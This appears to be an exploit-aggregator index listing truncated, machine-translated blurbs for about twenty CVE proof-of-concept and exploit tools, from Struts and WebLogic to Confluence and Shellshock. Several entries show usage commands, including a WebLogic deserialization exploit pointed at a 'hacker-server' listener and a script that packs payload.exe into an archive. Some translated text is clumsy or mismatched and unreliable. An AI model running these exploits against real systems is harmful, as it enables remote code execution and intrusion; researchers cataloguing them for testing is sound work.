CVE-2026-11645

CVE-2026-11645 - V8 in Google Chrome prima dell'esecuzione remota di codice Utilizzo rapido root@kitploit: python3 exploit.py -t "C:\Path\To\Target" -o demo.zip --data-file payload.exe Note sullo sfruttamento Gravità: ALTA CVSS: 8.8 Impatto: Riservatezza, Integrità, Disponibilità Pubblicato:...

CVE-2017-5638

CVE-2017-5638 Apache Struts 2 Introduzione: Apache Struts 2 è un framework open source per applicazioni web per lo sviluppo di applicazioni web Java EE. È la seconda generazione del framework Struts, rilasciato per la prima volta il 10 ottobre 2006. Il framework Struts è progettato in modo tale d...

CVE-2017-0199-v5.0

Exploit toolkit CVE-2017-0199 - v5.0 Exploit toolkit CVE-2017-0199 - v5.0 è un utile script Python che fornisce a pentester e ricercatori di sicurezza un modo rapido ed efficace per testare Microsoft Office RCE. Può generare un file RTF/PPSX dannoso e consegnare un payload metasploit / meterprete...

CVE-2022-30887

CVE-2022-30887 Pharmacy Management System 1.0 Caricamento Shell Questa applicazione è stata realizzata da Mayurik Il progetto del sistema di gestione farmaceutica in PHP è stato sviluppato per migliorare l'accuratezza e l'efficienza dei negozi farmaceutici attraverso la sicurezza e la gestione. I...

CVE-2025-60787-POC

CVE-2025-60787 - motionEye Authentifizierte RCE Authentifizierte Remote-Codeausführung in motionEye = 0.43.1b4 über einen nicht bereinigten motion-Konfigurationsparameter Autor: d3vn0mi Schwachstellenübersicht...

CVE-2024-4879

CVE-2024-4879 비즈니스 혁신을 위해 널리 사용되는 플랫폼인 ServiceNow는 최근 전 세계 조직에 심각한 영향을 미칠 수 있는 세 가지 중요한 보안 취약점을 공개했습니다. CVE-2024-4879, CVE-2024-5217 및 CVE-2024-5178로 식별된 이러한 취약점은 Now Platform의 다양한 버전에 영향을 미칩니다. 이 중 가장 우려되는 결함은 CVE-2024-4879와 CVE-2024-5217로, 각각 CVSSv4 점수 9.3과 9.2의 심각도를 가집니다. 이 취약점을 통해 인증되지 않은 원격...

weblogic-cve-2018-2628

weblogic-cve-2018-2628 weblogic-cve-2018-2628-exp python2 weblogic-cve-2018-2628-exp.py targetip targetport ysoserial-0.1-cve-2018-2628-all.jar bindip bindport JRMPClient python weblogic-cve-2018-2628-exp.py weblogic-server 7001 ysoserial-0.1-cve-2018-2628-all.jar hacker-server 2333 JRMPClient ja...

tivoli-poc

tivoli-poc Código PoC de CVE-2017-1635 CVEID: CVE-2017-1635 Puntuación base CVSS: 8 Productos y versiones afectados: componente KDH de IBM Tivoli Monitoring Basic Services KGL,KAX para las versiones 6.2.2.0 a 6.2.2.9 Existe una vulnerabilidad en el servidor web interno proporcionado por los...

DrupalCVE-2018-7602

Vulnerabilidad de ejecución remota de código en Drupal CVE-2018-7602 Software afectado: drupal Método: codificar dos veces el de la URL para evadir el filtro de la función sanitize Efecto: ejecución de comandos arbitrarios Entorno vulnerable Ejecute el siguiente comando para iniciar el entorno de...

CVE-2019-11043

CVE-2019-11043 针对CVE-2019-11043的Python利用脚本 root@kitploit: You can use build environment from https://github.com/vulhub/vulhub/tree/master/php/CVE-2019-11043 用法： root@kitploit: python3 main.py -u http://iptopage/index.php 如果成功，你会看到： root@kitploit: Base status code is 200 qsl:1760 with status code...

CVE-2020-0796

CVE-2020-0796 Visión general: La función de compresión añadida a SMBv3 a partir de la versión del sistema operativo Windows 10/Server version 1903 contiene una vulnerabilidad de desbordamiento de enteros integer overflow confirmada por Microsoft el 12/03/2020. Permite que un atacante realice una...

text4shell-cve-2022-42889

Text4Shell CVE-2022-42889 针对CVE-2022-42889的Docker实验环境 你可以选择在本地构建Docker镜像，或从Docker Hub拉取镜像并运行容器。 克隆仓库 root@kitploit: git clone https://github.com/devenes/text4shell-cve-2022-42889.git 在本地构建Docker镜像 root@kitploit: docker build --tag=text4shell . 运行Docker容器 root@kitploit: docker run -d --rm -p...

opsxcq-cve-2016-10033

PHPMailer 5.2.18 远程代码执行 PHPMailer 是世界上最流行的传输类库，全球预估有 900 万用户。每日下载量持续可观。被众多开源项目使用：WordPress、Drupal、1CRM、SugarCRM、Yii、Joomla! 等等。 版本 5.2.18 之前的 PHPMailer 存在一个可能导致远程代码执行（RCE）的漏洞。当 Sender 属性未设置时，isMail 传输中的 mailSend 函数可能允许远程攻击者向 mail 命令传递额外参数，从而通过精心构造的 From 地址中的 "（反斜杠双引号）执行任意代码。 漏洞环境 要为测试搭建一个漏洞环境，你需要...

cve-2021-42013.get

Apache 2.4.50 - パストラバーサルまたはリモートコード実行 cve-2021-42013.pyは、Apache 2.4.50 におけるパストラバーサルまたはリモートコード実行の脆弱性を検出するためのPythonスクリプトです。CVE-2021-42013 を実際に試すための脆弱なDockerインスタンスも提供されています。 CGI-BINが有効な場合、リモートコード実行は可能ですがパストラバーサルは実行できません。そのため、パストラバーサルの脆弱性を確認するために、httpd.confのAliasセクションに"icons"ディレクトリを追加しています。 httpd.conf...

CVE-2024-50379-POC

CVE-2024-50379 の悪用とPOC このリポジトリには、Apache Tomcat に影響を与える脆弱性 CVE-2024-50379 の概念実証 POC が含まれています。この問題は Time-of-Check Time-of-Use TOCTOU レースコンディション を含み、特に Windows のような大文字と小文字を区別しないファイルシステム上で リモートコード実行 RCE につながる可能性があります。 目次 説明 POC 使用方法 セキュリティ上の考慮事項 ライセンス 説明 CVE-2024-50379 は Apache Tomcat の脆弱性であり、TOCTOU...

PS-2018-002---CVE-2018-14442

Foxit Reader - CPDFParser::mpCryptoHandler - Use After Free - RCE 脆弱性 解放されたメモリを参照すると、プログラムがクラッシュしたり、予期しない値を使用したり、コードを実行したりする可能性があります。 脆弱性の説明 この脆弱性により、リモートの攻撃者は、脆弱性の影響を受ける Foxit Reader のインストール環境上で任意のコードを実行できる可能性があります。この脆弱性を悪用するにはユーザーの操作が必要であり、標的となるユーザーが悪意のあるページにアクセスするか、悪意のあるファイルを開く必要があります。...

CVE-2024-38063-poc

Real POC pubblicato https://github.com/ynwarcs/CVE-2024-38063 e l'ho aggiornato anche nel mio codice, questo può causare un crash nel tuo sistema, quindi usa una VM o solo per imparare, puoi ottenere RCE apportando modifiche al codice. Utilizzo iface Molto probabilmente è abilitato per impostazio...

PoC_CVE-2025-55182

Next.js React2Shell（CVE-2025-55182）エクスプロイトツール 認可されたローカルテスト環境のみ で、重大な React2Shell 脆弱性（CVE-2025-55182 / CVE-2025-66478）を実証するための概念実証（PoC）ツールです。 ⚠️ 重大な警告：活発な悪用が発生中 この脆弱性（CVSS 10.0）は、高度な脅威アクターによって活発に悪用されています。 Amazon Threat Intelligence によると、Earth Lamia や Jackpot Panda...

confluence-ognl-rce

CVE-2022-26134 - Atlassian Confluence OGNL RCE Questo script è un wrapper per un exploit di esecuzione remota di codice non autenticata tramite iniezione OGNL in Confluence Data Center e Server CVE-2022-26314. Avviso del fornitore Originariamente è stato ispirato dal PoC throughthewire.py, con...

CVE-2014-6271

🚨 CVE-2014-6271 — “Shellshock” 25-वर्षीय शून्य-दिवस रिमोट कोड निष्पादन GNU Bash में पर्यावरण चर के माध्यम से 📖 अवलोकन CVE-2014-6271 , उपनाम Shellshock जिसे Bashdoor भी कहा जाता है, GNU Bash शेल में एक गंभीर रिमोट कोड निष्पादन RCE भेद्यता है। एक हमलावर विशेष रूप से तैयार किए गए पर्यावरण चर HTTP...